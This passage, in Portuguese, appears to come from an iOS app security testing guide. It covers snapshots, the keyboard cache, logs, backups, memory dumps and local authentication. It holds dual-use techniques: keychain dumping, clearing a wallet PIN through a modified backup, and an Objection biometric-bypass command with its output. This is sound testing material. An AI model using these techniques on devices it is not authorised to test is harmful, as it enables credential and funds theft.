3. O cache também pode ser desativado definindo a Política de Cache para [.notAllowed](https://developer.apple.com/documentation/foundation/urlcache/storagepolicy/notallowed). Isso desativará o armazenamento de cache de qualquer forma, seja na memória ou no disco.
|
||
|
||
### Snapshots
|
||
|
||
Sempre que você pressiona o botão home, o iOS **tira um snapshot da tela atual** para poder fazer a transição para o aplicativo de uma maneira muito mais suave. No entanto, se **dados sensíveis** estiverem presentes na tela atual, eles serão **salvos** na **imagem** (que **persiste** **através de** **reinicializações**). Estes são os snapshots que você também pode acessar ao tocar duas vezes no botão home para alternar entre aplicativos.
|
||
|
||
A menos que o iPhone esteja com jailbreak, o **atacante** precisa ter **acesso** ao **dispositivo** **desbloqueado** para ver essas capturas de tela. Por padrão, o último snapshot é armazenado na sandbox do aplicativo em `Library/Caches/Snapshots/` ou `Library/SplashBoard/Snapshots` (os computadores confiáveis não podem acessar o sistema de arquivos a partir do iOS 7.0).
|
||
|
||
Uma maneira de prevenir esse comportamento indesejado é colocar uma tela em branco ou remover os dados sensíveis antes de tirar o snapshot usando a função `ApplicationDidEnterBackground()`.
|
||
|
||
A seguir, um método de remediação de exemplo que definirá um screenshot padrão.
|
||
|
||
Swift:
|
||
```swift
|
||
private var backgroundImage: UIImageView?
|
||
|
||
func applicationDidEnterBackground(_ application: UIApplication) {
|
||
let myBanner = UIImageView(image: #imageLiteral(resourceName: "overlayImage"))
|
||
myBanner.frame = UIScreen.main.bounds
|
||
backgroundImage = myBanner
|
||
window?.addSubview(myBanner)
|
||
}
|
||
|
||
func applicationWillEnterForeground(_ application: UIApplication) {
|
||
backgroundImage?.removeFromSuperview()
|
||
}
|
||
```
|
||
Objetivo-C:
|
||
```
|
||
@property (UIImageView *)backgroundImage;
|
||
|
||
- (void)applicationDidEnterBackground:(UIApplication *)application {
|
||
UIImageView *myBanner = [[UIImageView alloc] initWithImage:@"overlayImage.png"];
|
||
self.backgroundImage = myBanner;
|
||
self.backgroundImage.bounds = UIScreen.mainScreen.bounds;
|
||
[self.window addSubview:myBanner];
|
||
}
|
||
|
||
- (void)applicationWillEnterForeground:(UIApplication *)application {
|
||
[self.backgroundImage removeFromSuperview];
|
||
}
|
||
```
|
||
Isso define a imagem de fundo para `overlayImage.png` sempre que o aplicativo é minimizado. Isso impede vazamentos de dados sensíveis porque `overlayImage.png` sempre substituirá a visualização atual.
|
||
|
||
### Keychain
|
||
|
||
Ferramentas como [**Keychain-Dumper**](https://github.com/ptoomey3/Keychain-Dumper) podem ser usadas para extrair o keychain (o dispositivo deve estar com jailbreak).\
|
||
Você também pode usar `ios keychain dump` de [**Objection**](https://github.com/sensepost/objection)**.**
|
||
|
||
**NSURLCredential**
|
||
|
||
**NSURLCredential** é a classe perfeita para **armazenar nome de usuário e senha no keychain**. Não é necessário se preocupar com NSUserDefaults nem com nenhum wrapper de keychain.\
|
||
Uma vez que o usuário está logado, você pode armazenar seu nome de usuário e senha no keychain:
|
||
```swift
|
||
NSURLCredential *credential;
|
||
|
||
credential = [NSURLCredential credentialWithUser:username password:password persistence:NSURLCredentialPersistencePermanent];
|
||
[[NSURLCredentialStorage sharedCredentialStorage] setCredential:credential forProtectionSpace:self.loginProtectionSpace];
|
||
```
|
||
Você pode usar o `ios nsurlcredentialstorage dump` do **Objection** para despejar esses segredos.
|
||
|
||
## Teclados Personalizados/Cache do Teclado
|
||
|
||
A partir do iOS 8.0, a Apple permite instalar extensões personalizadas para iOS, como teclados personalizados.\
|
||
Os teclados instalados podem ser gerenciados via **Configurações** > **Geral** > **Teclado** > **Teclados**\
|
||
Teclados personalizados podem ser usados para **farejar** as **teclas digitadas** e enviá-las para o servidor do atacante. No entanto, observe que **teclados personalizados que requerem conectividade de rede serão notificados ao usuário.**\
|
||
Além disso, o **usuário pode alternar para um teclado diferente** (mais confiável) **para introduzir as credenciais.**
|
||
|
||
Além disso, **aplicativos podem impedir que seus usuários usem teclados personalizados** dentro do app (ou pelo menos para partes sensíveis do app).
|
||
|
||
{% hint style="warning" %}
|
||
É recomendado não permitir teclados de terceiros se você considerar que os usuários não precisarão deles.
|
||
{% endhint %}
|
||
|
||
Observe que, por causa da autocorreção e sugestões automáticas, o teclado padrão do iOS capturará e armazenará cada palavra não padrão em um arquivo de cache se o atributo **secureTextEntry** não estiver definido como **true** ou se **autoCorrectionType** não estiver definido como **UITextAutoCorrectionTypeNo.**
|
||
|
||
Por padrão, os teclados **armazenam esse cache** dentro do sandbox dos aplicativos no arquivo `Library/Keyboard/{locale}-dynamic-text.dat` ou em `/private/var/mobile/Library/Keyboard/dynamic-text.dat`. No entanto, ele pode estar salvando os dados em outro lugar.\
|
||
É possível redefinir o cache em _**Configurações**_ > _**Geral**_ > _**Redefinir**_ > _**Redefinir Dicionário do Teclado**_
|
||
|
||
{% hint style="info" %}
|
||
Portanto, **verifique sempre esses arquivos** e procure por possíveis **informações sensíveis**.\
|
||
**Interceptar o tráfego de rede** é outra maneira de verificar se o teclado personalizado está enviando teclas digitadas para um servidor remoto.
|
||
{% endhint %}
|
||
|
||
O [protocolo UITextInputTraits](https://developer.apple.com/reference/uikit/uitextinputtraits) é usado para o cache do teclado. As classes UITextField, UITextView e UISearchBar suportam automaticamente este protocolo e oferecem as seguintes propriedades:
|
||
|
||
* `var autocorrectionType: UITextAutocorrectionType` determina se a autocorreção está ativada durante a digitação. Quando a autocorreção está ativada, o objeto de texto rastreia palavras desconhecidas e sugere substituições adequadas, substituindo o texto digitado automaticamente, a menos que o usuário anule a substituição. O valor padrão desta propriedade é `UITextAutocorrectionTypeDefault`, que para a maioria dos métodos de entrada ativa a autocorreção.
|
||
* `var secureTextEntry: BOOL` determina se a cópia de texto e o cache de texto são desativados e oculta o texto que está sendo inserido para `UITextField`. O valor padrão desta propriedade é `NO`.
|
||
|
||
**Para identificar esse comportamento no código:**
|
||
|
||
* Procure no código-fonte por implementações semelhantes, como
|
||
```objectivec
|
||
textObject.autocorrectionType = UITextAutocorrectionTypeNo;
|
||
textObject.secureTextEntry = YES;
|
||
```
|
||
* Abra arquivos xib e storyboard no `Interface Builder` do Xcode e verifique os estados de `Secure Text Entry` e `Correction` no `Attributes Inspector` para o objeto apropriado.
|
||
|
||
O aplicativo deve impedir o armazenamento em cache de informações sensíveis inseridas em campos de texto. Você pode evitar o armazenamento em cache desativando-o programaticamente, usando a diretiva `textObject.autocorrectionType = UITextAutocorrectionTypeNo` nos UITextFields, UITextViews e UISearchBars desejados. Para dados que devem ser mascarados, como PINs e senhas, defina `textObject.secureTextEntry` para `YES`.
|
||
```objectivec
|
||
UITextField *textField = [ [ UITextField alloc ] initWithFrame: frame ];
|
||
textField.autocorrectionType = UITextAutocorrectionTypeNo;
|
||
```
|
||
## **Logs**
|
||
|
||
As formas mais comuns de depurar código são usando logs, e a aplicação **pode imprimir informações sensíveis dentro dos logs**.\
|
||
Nas versões do iOS 6 e anteriores, os logs eram legíveis por todos (um aplicativo malicioso poderia ler logs de outros aplicativos e extrair informações sensíveis de lá). **Atualmente, aplicativos só podem acessar seus próprios logs**.
|
||
|
||
No entanto, um **atacante** com **acesso físico** a um dispositivo **desbloqueado** pode conectá-lo a um computador e **ler os logs** (note que os logs escritos no disco por um aplicativo não são removidos se o aplicativo for desinstalado).
|
||
|
||
É recomendado **navegar por todas as telas** do aplicativo e **interagir** com **cada** elemento da UI e **funcionalidade** e fornecer texto de entrada em todos os campos de texto e **revisar os logs** em busca de **informações sensíveis** expostas.
|
||
|
||
Use as seguintes palavras-chave para verificar o código-fonte do aplicativo em busca de declarações de log predefinidas e personalizadas:
|
||
|
||
* Para funções predefinidas e integradas:
|
||
* NSLog
|
||
* NSAssert
|
||
* NSCAssert
|
||
* fprintf
|
||
* Para funções personalizadas:
|
||
* Logging
|
||
* Logfile
|
||
|
||
**Monitorando Logs do Sistema**
|
||
|
||
Muitos aplicativos registram mensagens informativas (e potencialmente sensíveis) no log do console. O log também contém relatórios de falhas e outras informações úteis.
|
||
|
||
Você pode usar estas ferramentas:
|
||
```bash
|
||
idevice_id --list # To find the device ID
|
||
idevicesyslog -u <id> (| grep <app>) # To get the device logs
|
||
```
|
||
Você pode coletar logs do console através da janela **Devices** do Xcode da seguinte forma:
|
||
|
||
1. Inicie o Xcode.
|
||
2. Conecte seu dispositivo ao computador host.
|
||
3. Escolha **Window** -> **Devices and Simulators**.
|
||
4. Clique no seu dispositivo iOS conectado na seção esquerda da janela Devices.
|
||
5. Reproduza o problema.
|
||
6. Clique no botão **Open Console** localizado na área superior direita da janela Devices para visualizar os logs do console em uma janela separada.
|
||
|
||
![](<../../.gitbook/assets/image (466) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (15).png>)
|
||
|
||
Você também pode se conectar ao shell do dispositivo conforme explicado em Accessing the Device Shell, instalar **socat** via **apt-get** e executar o seguinte comando:
|
||
```bash
|
||
iPhone:~ root# socat - UNIX-CONNECT:/var/run/lockdown/syslog.sock
|
||
|
||
========================
|
||
ASL is here to serve you
|
||
> watch
|
||
OK
|
||
|
||
Jun 7 13:42:14 iPhone chmod[9705] <Notice>: MS:Notice: Injecting: (null) [chmod] (1556.00)
|
||
Jun 7 13:42:14 iPhone readlink[9706] <Notice>: MS:Notice: Injecting: (null) [readlink] (1556.00)
|
||
Jun 7 13:42:14 iPhone rm[9707] <Notice>: MS:Notice: Injecting: (null) [rm] (1556.00)
|
||
Jun 7 13:42:14 iPhone touch[9708] <Notice>: MS:Notice: Injecting: (null) [touch] (1556.00)
|
||
...
|
||
```
|
||
```markdown
|
||
## Backups
|
||
|
||
O iOS inclui recursos de backup automático que criam cópias dos dados armazenados no dispositivo. Você pode **fazer backups do iOS** a partir do seu computador host usando o iTunes (até o macOS Catalina) ou o Finder (a partir do macOS Catalina), ou através do recurso de backup do iCloud. Em ambos os casos, o backup inclui quase todos os dados armazenados no dispositivo iOS, exceto dados altamente sensíveis, como informações do Apple Pay e configurações do Touch ID.
|
||
|
||
Como o iOS faz backup de aplicativos instalados e seus dados, uma preocupação óbvia é se **dados sensíveis do usuário** armazenados pelo aplicativo podem **vazar involuntariamente através do backup**. Outra preocupação, embora menos óbvia, é se **configurações de configuração sensíveis usadas para proteger dados ou restringir a funcionalidade do aplicativo podem ser adulteradas para alterar o comportamento do aplicativo após restaurar um backup modificado**. Ambas as preocupações são válidas e essas vulnerabilidades provaram existir em um grande número de aplicativos hoje.
|
||
|
||
Um backup de um dispositivo no qual um aplicativo móvel foi instalado incluirá todos os subdiretórios (exceto `Library/Caches/`) e arquivos no [diretório privado do aplicativo](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple_ref/doc/uid/TP40010672-CH2-SW12).\
|
||
Portanto, **evite armazenar dados sensíveis em texto simples dentro de qualquer um dos arquivos ou pastas que estão no diretório privado do aplicativo ou subdiretórios**.
|
||
|
||
Embora todos os arquivos em `Documents/` e `Library/Application Support/` sejam sempre feitos backup por padrão, você pode [excluir arquivos do backup](https://developer.apple.com/library/content/documentation/FileManagement/Conceptual/FileSystemProgrammingGuide/FileSystemOverview/FileSystemOverview.html#//apple_ref/doc/uid/TP40010672-CH2-SW28) chamando `NSURL setResourceValue:forKey:error:` com a chave `NSURLIsExcludedFromBackupKey`.\
|
||
Você pode usar as propriedades do sistema de arquivos [NSURLIsExcludedFromBackupKey](https://developer.apple.com/reference/foundation/nsurl#//apple_ref/c/data/NSURLIsExcludedFromBackupKey) e [CFURLIsExcludedFromBackupKey](https://developer.apple.com/reference/corefoundation/cfurl-rd7#//apple_ref/c/data/kCFURLIsExcludedFromBackupKey) para excluir arquivos e diretórios dos backups.
|
||
|
||
{% hint style="warning" %}
|
||
Portanto, ao verificar o backup de um aplicativo, você deve verificar se **alguma informação sensível** é acessível e se você pode **modificar algum comportamento sensível** do aplicativo **modificando alguma configuração do backup** e restaurando o backup.
|
||
{% endhint %}
|
||
|
||
**Como testar**
|
||
|
||
Comece **criando um backup do dispositivo** (você pode fazer isso usando o Finder) e descobrindo onde o backup está armazenado. A documentação oficial da Apple ajudará você a [localizar backups do seu iPhone, iPad e iPod touch](https://support.apple.com/en-us/HT204215).
|
||
|
||
Uma vez que você encontrou o backup do dispositivo (`/Users/carlos.martin/Library/Application Support/MobileSync/Backup/{deviceID}`), você pode começar a procurar por informações sensíveis usando, por exemplo, grep, ou usando ferramentas como [iMazing](https://imazing.com)).
|
||
|
||
Para identificar se um backup está criptografado, você pode verificar a chave chamada "IsEncrypted" do arquivo "Manifest.plist", localizado na raiz do diretório de backup. O exemplo a seguir mostra uma configuração indicando que o backup está criptografado:
|
||
```
|
||
```markup
|
||
<?xml version="1.0" encoding="UTF-8"?>
|
||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||
<plist version="1.0">
|
||
...
|
||
<key>Date</key>
|
||
<date>2021-03-12T17:43:33Z</date>
|
||
<key>IsEncrypted</key>
|
||
<true/>
|
||
...
|
||
</plist>
|
||
```
|
||
Caso você precise trabalhar com um backup criptografado, existem alguns scripts Python no [repositório GitHub da DinoSec](https://github.com/dinosec/iphone-dataprotection/tree/master/python_scripts), como **backup_tool.py** e **backup_passwd.py**, que servirão como um bom ponto de partida. No entanto, observe que eles podem não funcionar com as últimas versões do iTunes/Finder e podem precisar de ajustes.
|
||
|
||
Você também pode usar a ferramenta [**iOSbackup**](https://pypi.org/project/iOSbackup/) para ler e extrair arquivos de um backup iOS criptografado por senha com facilidade.
|
||
|
||
**Como modificar o comportamento**
|
||
|
||
No aplicativo de carteira de bitcoin de código aberto, [Bither](https://github.com/bither/bither-ios), você verá que é possível configurar um PIN para bloquear a UI.\
|
||
Esse PIN é armazenado no arquivo `net.bither.plist` dentro da **chave pin_code**.\
|
||
Se você limpar essa chave desse plist no backup e restaurar o backup, você poderá acessar a carteira.
|
||
|
||
## Testando Memória para Dados Sensíveis
|
||
|
||
Em algum momento, informações sensíveis serão armazenadas na memória. O objetivo é garantir que essas informações sejam expostas pelo menor tempo possível.
|
||
|
||
Para investigar a memória de um aplicativo, primeiro crie um **dump de memória**. Alternativamente, você pode **analisar a memória em tempo real** com, por exemplo, um depurador. Independentemente do método que você usar, esse é um processo muito propenso a erros porque os dumps fornecem os dados deixados por funções executadas e você pode perder a execução de etapas críticas. Além disso, é muito fácil negligenciar dados durante a análise, a menos que você conheça a pegada dos dados que está procurando (seja seu valor exato ou seu formato). Por exemplo, se o aplicativo criptografa de acordo com uma chave simétrica gerada aleatoriamente, é muito improvável que você localize a chave na memória, a menos que encontre seu valor por outros meios.
|
||
|
||
**Recuperando e Analisando um Dump de Memória**
|
||
|
||
Seja você usando um dispositivo com jailbreak ou sem jailbreak, você pode despejar a memória do processo do aplicativo com [objection](https://github.com/sensepost/objection) e [Fridump](https://github.com/Nightbringer21/fridump).
|
||
|
||
Após a memória ter sido despejada (por exemplo, para um arquivo chamado "memory"), dependendo da natureza dos dados que você está procurando, você precisará de um conjunto de ferramentas diferentes para processar e analisar esse dump de memória. Por exemplo, se você estiver focando em strings, pode ser suficiente para você executar o comando `strings` ou `rabin2 -zz` para extrair essas strings.
|
||
```bash
|
||
# using strings
|
||
$ strings memory > strings.txt
|
||
|
||
# using rabin2
|
||
$ rabin2 -ZZ memory > strings.txt
|
||
```
|
||
Abra `strings.txt` no seu editor favorito e analise-o para identificar informações sensíveis.
|
||
|
||
No entanto, se você quiser inspecionar outros tipos de dados, é melhor usar o radare2 e suas capacidades de busca. Consulte a ajuda do radare2 sobre o comando de busca (`/?`) para mais informações e uma lista de opções. A seguir, apresenta-se apenas um subconjunto delas:
|
||
```bash
|
||
$ r2 <name_of_your_dump_file>
|
||
|
||
[0x00000000]> /?
|
||
Usage: /[!bf] [arg] Search stuff (see 'e??search' for options)
|
||
|Use io.va for searching in non virtual addressing spaces
|
||
| / foo\x00 search for string 'foo\0'
|
||
| /c[ar] search for crypto materials
|
||
| /e /E.F/i match regular expression
|
||
| /i foo search for string 'foo' ignoring case
|
||
| /m[?][ebm] magicfile search for magic, filesystems or binary headers
|
||
| /v[1248] value look for an `cfg.bigendian` 32bit value
|
||
| /w foo search for wide string 'f\0o\0o\0'
|
||
| /x ff0033 search for hex string
|
||
| /z min max search for strings of given size
|
||
...
|
||
```
|
||
**Análise de Memória em Tempo de Execução**
|
||
|
||
Ao usar [**r2frida**](https://github.com/nowsecure/r2frida), você pode analisar e inspecionar a memória do aplicativo enquanto está em execução e sem a necessidade de despejá-la. Por exemplo, você pode executar os comandos de busca anteriores do r2frida e procurar na memória por uma string, valores hexadecimais, etc. Ao fazer isso, lembre-se de adicionar uma barra invertida `\` antes do comando de busca (e qualquer outro comando específico do r2frida) após iniciar a sessão com `r2 frida://usb//<nome_do_seu_app>`.
|
||
|
||
## Criptografia Quebrada
|
||
|
||
### Processos de Gerenciamento de Chaves Inadequados
|
||
|
||
Alguns desenvolvedores salvam dados sensíveis no armazenamento local e os criptografam com uma chave codificada/previsível no código. Isso não deve ser feito, pois algum processo de engenharia reversa poderia permitir que atacantes extraíssem as informações confidenciais.
|
||
|
||
### Uso de Algoritmos Inseguros e/ou Obsoletos
|
||
|
||
Desenvolvedores não devem usar **algoritmos obsoletos** para realizar **verificações** de autorização, **armazenar** ou **enviar** dados. Alguns desses algoritmos são: RC4, MD4, MD5, SHA1... Se **hashes** são usados para armazenar senhas, por exemplo, devem ser usados hashes **resistentes** à força bruta com sal.
|
||
|
||
### Verificação
|
||
|
||
As principais verificações a serem realizadas são para descobrir se você pode encontrar senhas/segredos **codificados** no código, ou se esses são **previsíveis**, e se o código está usando algum tipo de algoritmos de **criptografia** **fracos**.
|
||
|
||
É interessante saber que você pode **monitorar** algumas **bibliotecas** de **cripto** automaticamente usando **objection** com:
|
||
```swift
|
||
ios monitor crypt
|
||
```
|
||
Para **mais informações** sobre APIs e bibliotecas criptográficas do iOS, acesse [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06e-testing-cryptography)
|
||
|
||
## Autenticação Local
|
||
|
||
O testador deve estar ciente de que **a autenticação local deve sempre ser aplicada em um ponto final remoto** ou com base em um primitivo criptográfico. Atacantes podem facilmente contornar a autenticação local se nenhum dado retornar do processo de autenticação.
|
||
|
||
O [**framework de Autenticação Local**](https://developer.apple.com/documentation/localauthentication) fornece um conjunto de APIs para desenvolvedores estenderem um diálogo de autenticação ao usuário. No contexto de conexão com um serviço remoto, é possível (e recomendado) utilizar o [keychain](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html) para implementar autenticação local.
|
||
|
||
O sensor de **ID por impressão digital** é operado pelo [coprocessador de segurança SecureEnclave](https://www.blackhat.com/docs/us-16/materials/us-16-Mandt-Demystifying-The-Secure-Enclave-Processor.pdf) e não expõe dados da impressão digital a outras partes do sistema. Além do Touch ID, a Apple introduziu o _Face ID_: que permite autenticação baseada em reconhecimento facial.
|
||
|
||
Desenvolvedores têm duas opções para incorporar autenticação Touch ID/Face ID:
|
||
|
||
* `LocalAuthentication.framework` é uma API de alto nível que pode ser usada para **autenticar o usuário via Touch ID**. O aplicativo não pode acessar dados associados à impressão digital cadastrada e é notificado apenas se a autenticação foi bem-sucedida.
|
||
* `Security.framework` é uma API de nível mais baixo para acessar [serviços de keychain](https://developer.apple.com/documentation/security/keychain\_services). Esta é uma opção segura se seu aplicativo precisa **proteger alguns dados secretos com autenticação biométrica**, já que o controle de acesso é gerenciado em nível de sistema e não pode ser facilmente contornado. `Security.framework` tem uma API em C, mas existem vários [wrappers de código aberto disponíveis](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id), tornando o acesso ao keychain tão simples quanto ao NSUserDefaults.
|
||
|
||
{% hint style="danger" %}
|
||
Esteja ciente de que usar o `LocalAuthentication.framework` ou o `Security.framework` será um controle que pode ser contornado por um atacante, pois retorna apenas um booleano e nenhum dado para prosseguir. Veja [Don't touch me that way, por David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM) para mais detalhes.
|
||
{% endhint %}
|
||
|
||
### Framework de Autenticação Local
|
||
|
||
Desenvolvedores podem exibir um **prompt de autenticação** utilizando a função **`evaluatePolicy`** da classe **`LAContext`**. Duas políticas disponíveis definem formas aceitáveis de autenticação:
|
||
|
||
* `deviceOwnerAuthentication`(Swift) ou `LAPolicyDeviceOwnerAuthentication`(Objective-C): Quando disponível, o usuário é solicitado a realizar autenticação Touch ID. Se o Touch ID não estiver ativado, a senha do dispositivo é solicitada em vez disso. Se a senha do dispositivo não estiver habilitada, a avaliação da política falha.
|
||
* `deviceOwnerAuthenticationWithBiometrics` (Swift) ou `LAPolicyDeviceOwnerAuthenticationWithBiometrics`(Objective-C): A autenticação é restrita a biometria onde o usuário é solicitado pelo Touch ID.
|
||
|
||
A função **`evaluatePolicy` retorna um valor booleano** indicando se o usuário foi autenticado com sucesso. O que significa que pode ser facilmente contornado (veja abaixo)
|
||
|
||
### Autenticação Local usando Keychain
|
||
|
||
As **APIs do keychain do iOS podem (e devem) ser usadas para implementar autenticação local**. Durante esse processo, o aplicativo armazena um token de autenticação secreto ou outro pedaço de dado secreto identificando o usuário no keychain. Para autenticar em um serviço remoto, o usuário deve desbloquear o keychain usando sua senha ou impressão digital para obter o dado secreto.
|
||
|
||
O keychain permite salvar itens com o atributo especial `SecAccessControl`, que permitirá acesso ao item do keychain apenas após o usuário passar pela autenticação Touch ID (ou senha, se tal opção de fallback for permitida pelos parâmetros do atributo).
|
||
|
||
No seguinte exemplo, salvaremos a string "test\_strong\_password" no keychain. A string pode ser acessada apenas no dispositivo atual enquanto a senha estiver configurada (`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly` parâmetro) e após autenticação Touch ID para os dedos atualmente cadastrados apenas (`SecAccessControlCreateFlags.biometryCurrentSet` parâmetro):
|
||
|
||
{% tabs %}
|
||
{% tab title="Swift" %}
|
||
```swift
|
||
// 1. create AccessControl object that will represent authentication settings
|
||
|
||
var error: Unmanaged<CFError>?
|
||
|
||
guard let accessControl = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
|
||
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
|
||
SecAccessControlCreateFlags.biometryCurrentSet,
|
||
&error) else {
|
||
// failed to create AccessControl object
|
||
|
||
return
|
||
}
|
||
|
||
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
|
||
|
||
var query: [String: Any] = [:]
|
||
|
||
query[kSecClass as String] = kSecClassGenericPassword
|
||
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
|
||
query[kSecAttrAccount as String] = "OWASP Account" as CFString
|
||
query[kSecValueData as String] = "test_strong_password".data(using: .utf8)! as CFData
|
||
query[kSecAttrAccessControl as String] = accessControl
|
||
|
||
// 3. save item
|
||
|
||
let status = SecItemAdd(query as CFDictionary, nil)
|
||
|
||
if status == noErr {
|
||
// successfully saved
|
||
} else {
|
||
// error while saving
|
||
}
|
||
```
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
```objectivec
|
||
// 1. create AccessControl object that will represent authentication settings
|
||
CFErrorRef *err = nil;
|
||
|
||
SecAccessControlRef sacRef = SecAccessControlCreateWithFlags(kCFAllocatorDefault,
|
||
kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly,
|
||
kSecAccessControlUserPresence,
|
||
err);
|
||
|
||
// 2. define keychain services query. Pay attention that kSecAttrAccessControl is mutually exclusive with kSecAttrAccessible attribute
|
||
NSDictionary* query = @{
|
||
(_ _bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
|
||
(__bridge id)kSecAttrAccount: @"OWASP Account",
|
||
(__bridge id)kSecValueData: [@"test_strong_password" dataUsingEncoding:NSUTF8StringEncoding],
|
||
(__bridge id)kSecAttrAccessControl: (__bridge_transfer id)sacRef
|
||
};
|
||
|
||
// 3. save item
|
||
OSStatus status = SecItemAdd((__bridge CFDictionaryRef)query, nil);
|
||
|
||
if (status == noErr) {
|
||
// successfully saved
|
||
} else {
|
||
// error while saving
|
||
}
|
||
```
|
||
```markdown
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
Agora podemos solicitar o item salvo no keychain. Os serviços do keychain apresentarão o diálogo de autenticação ao usuário e retornarão dados ou nil, dependendo se uma impressão digital adequada foi fornecida ou não.
|
||
|
||
{% tabs %}
|
||
{% tab title="Swift" %}
|
||
```
|
||
```swift
|
||
// 1. define query
|
||
var query = [String: Any]()
|
||
query[kSecClass as String] = kSecClassGenericPassword
|
||
query[kSecReturnData as String] = kCFBooleanTrue
|
||
query[kSecAttrAccount as String] = "My Name" as CFString
|
||
query[kSecAttrLabel as String] = "com.me.myapp.password" as CFString
|
||
query[kSecUseOperationPrompt as String] = "Please, pass authorisation to enter this area" as CFString
|
||
|
||
// 2. get item
|
||
var queryResult: AnyObject?
|
||
let status = withUnsafeMutablePointer(to: &queryResult) {
|
||
SecItemCopyMatching(query as CFDictionary, UnsafeMutablePointer($0))
|
||
}
|
||
|
||
if status == noErr {
|
||
let password = String(data: queryResult as! Data, encoding: .utf8)!
|
||
// successfully received password
|
||
} else {
|
||
// authorization not passed
|
||
}
|
||
```
|
||
{% endtab %}
|
||
|
||
{% tab title="Objective-C" %}
|
||
```objectivec
|
||
// 1. define query
|
||
NSDictionary *query = @{(__bridge id)kSecClass: (__bridge id)kSecClassGenericPassword,
|
||
(__bridge id)kSecReturnData: @YES,
|
||
(__bridge id)kSecAttrAccount: @"My Name1",
|
||
(__bridge id)kSecAttrLabel: @"com.me.myapp.password",
|
||
(__bridge id)kSecUseOperationPrompt: @"Please, pass authorisation to enter this area" };
|
||
|
||
// 2. get item
|
||
CFTypeRef queryResult = NULL;
|
||
OSStatus status = SecItemCopyMatching((__bridge CFDictionaryRef)query, &queryResult);
|
||
|
||
if (status == noErr){
|
||
NSData* resultData = ( __bridge_transfer NSData* )queryResult;
|
||
NSString* password = [[NSString alloc] initWithData:resultData encoding:NSUTF8StringEncoding];
|
||
NSLog(@"%@", password);
|
||
} else {
|
||
NSLog(@"Something went wrong");
|
||
}
|
||
```
|
||
{% endtab %}
|
||
{% endtabs %}
|
||
|
||
### Detecção
|
||
|
||
A utilização de frameworks em um aplicativo também pode ser detectada analisando a lista de bibliotecas dinâmicas compartilhadas do binário do aplicativo. Isso pode ser feito usando `otool`:
|
||
```bash
|
||
$ otool -L <AppName>.app/<AppName>
|
||
```
|
||
Se `LocalAuthentication.framework` for usado em um aplicativo, a saída conterá ambas as linhas a seguir (lembre-se de que `LocalAuthentication.framework` usa `Security.framework` por baixo dos panos):
|
||
```bash
|
||
/System/Library/Frameworks/LocalAuthentication.framework/LocalAuthentication
|
||
/System/Library/Frameworks/Security.framework/Security
|
||
```
|
||
### Contornando o Framework de Autenticação Local
|
||
|
||
#### Objection
|
||
|
||
[**Objection Biometrics Bypass**](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass) pode ser usado para contornar o LocalAuthentication. O Objection **utiliza o Frida para instrumentar a função `evaluatePolicy` de forma que ela retorne `True`** mesmo que a autenticação não tenha sido realizada com sucesso. Use o comando `ios ui biometrics_bypass` para contornar a autenticação biométrica insegura. O Objection registrará um trabalho, que substituirá o resultado de `evaluatePolicy`. Funcionará tanto em implementações Swift quanto Objective-C.
|
||
```bash
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass
|
||
(agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable
|
||
...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # (agent) [3mhtws9x47q] Localized Reason for auth requirement: Please authenticate yourself
|
||
(agent) [3mhtws9x47q] OS authentication response: false
|
||
(agent) [3mhtws9x47q] Marking OS response as True instead
|
||
(agent) [3mhtws9x47q] Biometrics bypass hook complete
|
||
```
|
||
Se vulnerável, o módulo irá automaticamente contornar o formulário de login.
|
||
|
||
#### Frida
|
||
|
||
Um exemplo de uso de **`evaluatePolicy`** da [aplicação DVIA-v2](https://github.com/prateek147/DVIA-v2):
|
||
```swift
|
||
+(void)authenticateWithTouchID {
|
||
LAContext *myContext = [[LAContext alloc] init];
|
||
NSError *authError = nil;
|
||
NSString *myLocalizedReasonString = @"Please authenticate yourself";
|
||
|
||
if ([myContext canEvaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics error:&authError]) {
|
||
[myContext evaluatePolicy:LAPolicyDeviceOwnerAuthenticationWithBiometrics
|
||
localizedReason:myLocalizedReasonString
|
||
reply:^(BOOL success, NSError *error) {
|
||
if (success) {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Authentication Successful" withTitle:@"Success"];
|
||
});
|
||
} else {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Authentication Failed !" withTitle:@"Error"];
|
||
});
|
||
}
|
||
}];
|
||
} else {
|
||
dispatch_async(dispatch_get_main_queue(), ^{
|
||
[TouchIDAuthentication showAlert:@"Your device doesn't support Touch ID or you haven't configured Touch ID authentication on your device" withTitle:@"Error"];
|
||
});
|
||
}
|
||
}
|
||
```
|
||
